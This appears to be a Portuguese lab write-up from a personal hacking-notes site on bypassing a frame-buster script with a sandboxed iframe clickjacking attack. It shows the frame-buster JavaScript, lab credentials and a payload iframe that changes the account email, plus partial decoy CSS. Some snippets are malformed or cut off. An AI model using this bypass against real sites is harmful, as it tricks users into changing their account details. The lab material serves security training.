# Clickjacking com Script Anti-Frame

### Clickjacking com um script bloqueador de frame

Realize um ataque de clickjacking que altere o endereço de e-mail do usuário apesar da presença de um "bloqueador de frame". O laboratório é solucionado quando o e-mail da conta tiver sido alterado.

#### Credenciais fornecidas

* Usuário: `wiener`
* Senha: `peter`

#### Constatação inicial

Ao tentar exibir a página da conta em um clássico `<iframe>`, a página retorna o seguinte conteúdo (exemplo d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### Proteção observada (bloqueador de frame)

A página contém um script que impede que ela seja carregada em um frame e substitui o corpo do documento se a página for carregada em um frame:

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'Esta página não pode ser exibida em um frame';
 }, false);
}
```

Esse mecanismo detecta quando a página está em um iframe e neutraliza o conteúdo exibido.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

Exemplo de estilo e camada de isca usados

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
